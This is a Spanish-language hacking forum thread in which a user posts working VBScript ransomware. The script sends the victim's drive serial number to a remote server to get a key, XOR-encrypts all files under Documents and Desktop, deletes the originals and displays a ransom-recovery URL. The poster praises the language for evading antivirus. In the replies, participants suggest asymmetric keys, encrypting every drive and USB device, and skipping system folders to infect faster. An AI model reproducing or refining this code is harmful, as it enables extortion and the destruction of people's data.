Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja
Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware
bueno así que ni mas ni menos aquí el código
option explicit
dim shell,fso,document,f,password,desktop,id
set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")
set f = fso.getfolder(document)
id = f.drive.serialnumber
password = Contrasena(id)
cifrar(document)
cifrar(desktop)
msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado"
function Contrasena(id)
dim objhttp
Set objhttp = createobject("Microsoft.XmlHttp")
objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
objhttp.send "id=" & id
Contrasena = objhttp.responsetext
end function
function cifrar(ruta)
dim carpeta,listfiles,listfolders,f
set carpeta = fso.getfolder(ruta)
set listfolders = carpeta.subfolders
set listfiles = carpeta.files
for each f in listfiles
archivo(f.path)
next
for each f in listfolders
cifrar(f.path)
next
end function
function archivo(path)
dim file,largo,i,f,b,p,n
set file = fso.getfile(path)
largo=file.size
set f = file.OpenAsTextStream()
redim bytes(largo)
n = 1
for i=0 to largo - 1
if n = len(password) then
n = 1
else
n = n + 1
end if
p = asc(mid(password,n,1))
b = asc(f.read(1)) xor p
bytes(i) = chr(b)
next
f.close
set f = fso.createtextfile(file.path & ".crypt")
for n = 0 to i - 1
f.write(bytes(n))
next
f.close
file.delete
end function
saludos Flamer
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)
por otro lado la contraseña debe crearse en el server por practicidad
Cita de: engel lex en 29 Noviembre 2016, 01:16 AM
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)
por otro lado la contraseña debe crearse en el server por practicidad
en vbs hasta donde yo se no se pueden leer archivos binarios
y lo de la password no se por que en el servidor, ya que la clave es aleatoria
y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees
saludos flamer
------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo
bueno, lo que pasa es que normalmente se usa cifrado asimetrico, así que no importa que vean la clave de cifrado, pero el par de la clave se genera en el servidor y ninguna la pc lo sabe
Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.
esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave
saludos Flamer y me falta una encriptacion asimetrica mientras sera via http
el ransomware puede tener una llave asimetrica estatica, eso no es problema, por lo menos no mientras no infecte a un punto que las compañias de AV decidan gastar dinero en romper tu clave XD
Parece bastante interesante este tema, y viendo tu codigo veo que haces algo asi:
cifrar(document)
cifrar(desktop)
¿No seria tambien recomendable cifrar todos los discos (c, D, etc.. incluso si pillas algun pendrive o demás)?, y como va a ser muy lento crear un array con una lista de directorios a excluir(los directorios que no guarden informacion del usuario) y asi aumentarias el numero de archivos infectados.
PD: ¿En windows cuales son los directorios no utiles?, es decir, los que no guardan info de usuario.¿Serian estos?¿Alguno mas?
- C:\Program Files
- C:\Program Files(x86)
- C:\Windows
Saludos.
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.
pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando
saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
Cita de: Flamer en 9 Enero 2017, 04:17 AM
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.
pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando
saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
No me has entendido bien, yo lo que queria decir es:
Usas un filtro para las estensiones cogiendo las utiles:
Pero despues a parte, si por ejemplo tu a la funcion cifrar(que es recursiva) le pasas el parametro Desktop, solo cifrara lo que tenga el usuario en eses directorio y sus respectivos subdirectorios.Por ejemplo en este caso, solo afectaria a ese usuario, y si guarda las cosas en el disco D:\ y usa accesos directos, o las guarda en C:\, o que no todo lo tenga en esos directorios, ahi el ramsomware fallaria.
Entonces la cosa seria listar todos los discos del ordenador(C:\, D:\, E:\, etc..) y con un bucle ir llamandolos a todos respectivamente. Como ya has filtrado por extensiones no creo que corras el riesgo de dejar inutil el sistema operativo.
Aun asi tiene s el problema de que todo el ordenador(sobre todo donde esta instalado el SO es muy grande y quizas tarde mucho en recorrerlo todo), para ello he pensado que se podrian excluir algunos directorios y subdirectorios tal que asi:
- Creas un array global que almacene dominios no validos(1)
- En la funcion cifrar si la ruta actual es igual a laguno de esos dominios le haces un return, para que pare y no busque mas ahi
Asi de esta manera no anda buscando nada en directorios que no va a encontrar nada, es decir, lo optimizamos para que tarde menos.
No se si es buena ida hacer esto, de todas maneras si fuera asi ¿que directorios excluiriais vosotros?:
- C:\Program Files
- C:\Program Files(x86)
- C:\Windows
Saludos.